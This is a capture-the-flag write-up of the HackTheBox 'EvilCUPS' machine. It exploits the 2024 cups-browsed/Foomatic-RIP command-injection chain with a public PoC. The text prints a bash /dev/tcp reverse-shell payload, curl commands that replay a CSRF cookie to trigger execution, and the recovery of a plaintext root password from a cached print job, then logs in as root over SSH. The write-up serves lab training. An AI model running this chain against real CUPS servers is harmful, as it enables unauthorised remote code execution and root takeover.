HTB: EvilCUPS Writeup
EvilCUPS - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | EvilCUPS |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.231.157 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐☆☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐⭐☆☆
Summary
EvilCUPS is a Medium Linux box built entirely around a 2024 CUPS/cups-browsed command-injection chain (CVE-2024-47176 + CVE-2024-47076/47175/47177). The box exposes an unauthenticated CUPS web management interface on TCP/631 and the legacy cups-browsed auto-discovery listener on UDP/631. A single crafted UDP packet convinces the target to install an attacker-controlled “printer” whose PPD attributes are injected with a malicious FoomaticRIPCommandLine. Triggering a print job (which the CUPS web UI allows anonymously) executes that command as the lp user, yielding the user flag. From there, lp can read a previously-cached print job by its known filename in /var/spool/cups/ even though it can’t list the directory — and that cached job leaks the root password in plaintext, which is reused directly for a root shell via SSH.
TL;DR: nmap reveals CUPS 2.4 on 631/tcp → ippsec’s evil-cups PoC exploits CVE-2024-47176 over UDP/631 to register a malicious printer → CUPS web UI “Print Test Page” CGI (CSRF cookie only) triggers Foomatic-RIP command injection → reverse shell as lp → cached print job /var/spool/cups/d00001-001 leaks root’s password in plaintext → ssh root@target → root.
Reconnaissance
Port Scanning
# TCP service scannmap -p22,631 -sV -T4 10.129.231.157Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)631/tcp open ipp CUPS 2.4Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel# Confirm the cups-browsed auto-discovery listenernmap -sU -p631 --max-retries 1 10.129.231.157PORT STATE SERVICE631/udp closed ippOnly 22/ssh and 631/ipp are exposed. CUPS 2.4 (fingerprinted as CUPS/2.4.2 on the web UI) was released in early 2022 — well within the window of the 2024 CUPS/cups-browsed disclosures. nmap reported UDP/631 as closed on the raw probe (no listener responds to an empty UDP datagram), but cups-browsed still processes a correctly-formatted “printer available” broadcast packet sent to that port — the exploit doesn’t depend on the port showing open in a scan.
Service Enumeration
The CUPS web management interface at http://10.129.231.157:631/ is reachable without authentication and lists installed printer queues:
curl -s http://10.129.231.157:631/printers/ | grep -oE '/printers/[A-Za-z0-9_%-]+'/printers/Canon_MB2300_seriesA pre-existing queue, Canon_MB2300_series, already has a completed job (Canon_MB2300_series-1) sitting in its job history — this becomes relevant later during privesc.
Vulnerability Assessment
- CVE-2024-47176 (
cups-browsed): the UDP/631 listener accepts unicast “printer available” packets and doesn’t validate the source is an actual printer, letting a remote attacker force-install an arbitrary printer URI. - CVE-2024-47076 / CVE-2024-47175 (
libcupsfilters/libppd): PPD attributes returned by the “printer” (via IPPGet-Printer-Attributes) are written into the generated PPD file without sanitizing embedded quotes/newlines, allowing injection of extra PPD directives. - CVE-2024-47177 (
foomatic-rip): the injected*FoomaticRIPCommandLinePPD directive is executed verbatim as a shell command whenever a document is printed. - Anonymous access to the CUPS web CGI, including the “Print Test Page” maintenance action, means no authentication is needed to trigger the injected command.
Initial Foothold
Exploitation Path
1. Stage ippsec’s evil-cups PoC on the attack host.
# Clone the PoC — jump box /tmp was 100% full, so staged in /dev/shm insteaddf -h /tmp /dev/shm# Filesystem Size Used Avail Use% Mounted on# /dev/sda7 436M 419M 0 100% /tmp# tmpfs 8.1G 2.7G 5.4G 33% /dev/shm
cd /dev/shm && git clone https://github.com/ippsec/evil-cupscat evil-cups/requirements.txt# ippserverThe PoC’s dependency is the ippserver Python library, which stands up a minimal IPP server so the exploit host can answer the target’s printer-attribute lookup with the injected PPD data.
# pip also needs a writable TMPDIR — reuse /dev/shmTMPDIR=/dev/shm pip3 install --break-system-packages ippserverpython3 -c 'import ippserver; print("OK ippserver")'# OK ippserver2. Understand what the PoC does. evilcups.py starts a local IPPServer on port 12345 that answers as a MaliciousPrinter, embedding the attacker’s command inside a PPD attribute (printer-more-info / FoomaticRIPCommandLine, per CVE-2024-47076/47175). It then fires a single crafted UDP packet at the target’s cups-browsed listener (631/udp) announcing a fake printer at http://<LHOST>:12345/printers/EVILCUPS, prompting the target to fetch attributes from us and install the poisoned queue.
3. Launch the exploit — usage is evilcups.py <LOCAL_HOST> <TARGET_HOST> <COMMAND>:
# Start a listener first (port 9001 was already bound by an existing SSH# forward on the jump box, so 9002 was used instead)nc -lvnp 9002
# Fire the exploit — LHOST is the jump box's tun0 VPN IP (must be routable# from the target back to us)cd /dev/shm/evil-cupspython3 evilcups.py 10.10.15.180 10.129.231.157 \ "bash -c 'bash -i >& /dev/tcp/10.10.15.180/9002 0>&1'"IPP Server Listening on ('10.10.15.180', 12345)Sending udp packet to 10.129.231.157:631...Please wait this normally takes 30 seconds...4. Confirm the malicious printer registered. The first run’s queue (EVILCUPS) got garbage-collected/never fully materialized (attempting to print it later returned The printer or class does not exist.). Re-running the exploit produced a second, persistent queue:
curl -s http://10.129.231.157:631/printers/ | sed 's/<[^>]*>//g' | grep -iE 'showing|hacked'# Showing 2 of 2 printers.# HACKED_10_10_15_180 HACKED_10_10_15_180 HP 0.00, driverless, cups-filters 1.28.17 Idle5. Trigger execution via the CGI “Print Test Page” action. The CUPS web CGI requires an org.cups.sid CSRF cookie to accept the POST, but no login:
# Grab the session cookie, then POST the print-test-page action with it# echoed back as a form field (CUPS' anti-CSRF check)curl -s -c cj.txt 'http://10.129.231.157:631/printers/HACKED_10_10_15_180' -o /dev/nullSID=$(grep org.cups.sid cj.txt | awk '{print $NF}')curl -s -b cj.txt -X POST 'http://10.129.231.157:631/printers/HACKED_10_10_15_180' \ --data-urlencode "org.cups.sid=$SID" --data 'op=print-test-page'Print Test Page On HACKED_10_10_15_180Test page sent; job ID is HACKED_10_10_15_180-2.Queuing the test page runs it through Foomatic-RIP, which executes the injected FoomaticRIPCommandLine — our reverse shell payload — as the printing subsystem’s user:
listening on [any] 9002 ...connect to [10.10.15.180] from (UNKNOWN) [10.129.231.157] 51602bash: cannot set terminal process group (1057): Inappropriate ioctl for devicebash: no job control in this shelllp@evilcups:/$Landed as lp (the CUPS service account). Since the shell has no job control and dies with a plain nc reader after one command, an interactive-ish channel was built with a FIFO so multiple commands could be sent over the same connection:
mkfifo /dev/shm/sh.intail -f /dev/shm/sh.in | nc -lvnp 9002 # reader survives across writesecho 'id; cat /home/htb/user.txt' > /dev/shm/sh.inuid=7(lp) gid=7(lp) groups=7(lp)<redacted>Privilege Escalation
As lp, /var/spool/cups/ itself denies listing (execute-only, no read bit):
ls -la /var/spool/cups/# ls: cannot open directory '/var/spool/cups/': Permission deniedHowever, execute permission on the directory still allows reading a file if its exact name is already known. CUPS names cached completed jobs deterministically: d<5-digit job id>-<3-digit page number>. The web UI had already shown a completed job Canon_MB2300_series-1 during recon — job 1, page 1 — so the cache file is d00001-001:
cat /var/spool/cups/d00001-001 | tr -c '[:print:]\n' ' ' \ | grep -iaE 'pass|root|word|Br3|evil|secret'/fname (pass.txt) def/ftail (pass.txt) def(Br3@k-G!@ss-r00t-evilcups) sThe cached job is the raw PostScript source of whatever was printed to that queue previously — and it literally embeds the filename pass.txt and its printed contents, a plaintext root password: Br3@k-G!@ss-r00t-evilcups.
sshpass -p 'Br3@k-G!@ss-r00t-evilcups' \ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \ root@10.129.231.157 'id; cat /root/root.txt; hostname'uid=0(root) gid=0(root) groups=0(root)<redacted>evilcupsRoot, confirmed.
Attack Chain Summary
nmap → CUPS 2.4 web UI (631/tcp) + cups-browsed listener (631/udp) → evil-cups PoC: forged UDP browsed packet (CVE-2024-47176) → IPPServer serves poisoned PPD attrs (CVE-2024-47076/47175 injection) → malicious printer "HACKED_10_10_15_180" registered → anonymous CGI POST /printers/<name> op=print-test-page (CSRF cookie only) → Foomatic-RIP executes injected FoomaticRIPCommandLine (CVE-2024-47177) → reverse shell as lp → user.txt → lp reads /var/spool/cups/d00001-001 (known filename, dir unlistable) → plaintext root password "pass.txt" leaked from cached print job → ssh root@target (password reuse) → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | TCP/UDP port and service discovery |
git | Clone the evil-cups PoC (github.com/ippsec/evil-cups) |
pip3 / ippserver | Python IPP server backing the exploit’s fake printer |
evilcups.py | Sends the forged UDP browsed packet + serves the injected PPD |
curl | Enumerate printer queues, extract CSRF (org.cups.sid) cookie, trigger print-test-page CGI |
nc + mkfifo | Reverse shell catcher + persistent multi-command channel over a dead-job-control shell |
sshpass / ssh | Non-interactive root login with the recovered password |
Key Learnings
Techniques Practiced
- Exploiting the CVE-2024-47176/47076/47175/47177 CUPS/
cups-browsedchain end to end (UDP printer injection → PPD attribute injection → Foomatic-RIP command execution) - Extracting and replaying a CGI’s anti-CSRF session cookie (
org.cups.sid) withcurlto drive an “authenticated-looking” but actually anonymous web action - Working around a full jump-box
/tmpby redirectinggit cloneandpip install(TMPDIR=) to/dev/shm - Building a durable command channel over a
ncreverse shell that lacks job control, using a named pipe (mkfifo+tail -f) instead of a one-shotcat - Abusing directory execute-without-read permissions: reading a specific known filename in an otherwise unlistable directory (
/var/spool/cups/)
Lessons Learned
- Legacy auto-discovery protocols (
cups-browsedover UDP/631) that accept unicast, unauthenticated “printer available” announcements are a direct remote-code-execution surface — disablingcups-browsedor restricting it to trusted subnets closes the entire chain at the door. - Exposing the CUPS web management CGI anonymously turns a “just print a test page” convenience feature into an unauthenticated RCE trigger; admin actions like Foomatic-RIP-backed printing should never be reachable pre-auth.
lp’s ability to read (though not list) old cached print jobs is a real, low-noise information-disclosure path — anything sensitive ever sent to a CUPS printer on this host (including a literalpass.txt) stays recoverable indefinitely from/var/spool/cups/.- Password reuse between an incidentally-leaked artifact (a print job) and the root account is what turned a service-account foothold into full root in a single step — the same credential should never back both a mundane document and a privileged login.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- ippsec, official HackTheBox EvilCUPS writeup (Document No. D24.100.304) — machine walkthrough, CVE background, and the
evil-cupsPoC used in this solve. - github.com/ippsec/evil-cups — PoC exploit for the CUPS/cups-browsed injection chain.
- EvilSocket, original disclosure blog post for CVE-2024-47176/47076/47175/47177.